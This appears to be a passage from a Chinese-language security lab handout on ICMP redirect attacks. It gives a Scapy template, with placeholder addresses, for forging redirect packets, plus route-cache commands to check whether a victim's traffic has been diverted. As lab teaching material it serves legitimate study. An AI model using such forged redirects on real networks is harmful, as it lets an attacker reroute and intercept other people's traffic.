#!/usr/bin/python3
from scapy.all import *
ip = IP(src = @@@, dst = @@@)
icmp = ICMP(type=@@@, code=@@@)
icmp.gw = @@@
# ICMP 重定向包必须携带触发它的那个原始IP数据包。
ip2 = IP(src = @@@, dst = @@@)
send(ip/icmp/ip2/ICMP());
验证。 ICMP重定向消息不会影响路由表,而是会改变路由缓存。路由缓存中的条目比路由表中的条目优先级高,会被先用,直到过期为止。请使用以下命令显示和清理缓存内容。
// 显示路由缓存
# ip route show cache
192.168.60.5 via 10.9.0.111 dev eth0
cache <redirected> expires 296sec
// 清理路由缓存
# ip route flush cache
请在受害者的机器上进行traceroute操作,看看数据包是否被重定向。
# mtr -n 192.168.60.5
注意事项: 如果我们伪造重定向包,但受害者的机器在攻击期间没有发送过ICMP数据包,则该攻击将不会成功。这是因为操作系统内核会在接受ICMP重定向消息之前进行一些类型的检查。它会验证该ICMP重定向是否由其自身发出的数据包触发,即它会检查重定向包内的 ip2。这种检查的严格程度取决于操作系统。
对于 Ubuntu 20.04,内核只是验证重定向包中的 ip2 是否与触发ICMP重定向的实际数据包的类型和目的 IP 地址匹配。然而,如果你在苹果机器上进行此实验,你的虚拟机版本可能是 Ubuntu 22.04 或更高版本,检查会更加严格。要确保伪造包中的 ip2 能够通过检查,最简单的方法是从受害者的机器中捕获一个数据包。不过这并不是必要的。鼓励学生们使用其他方法进行攻击。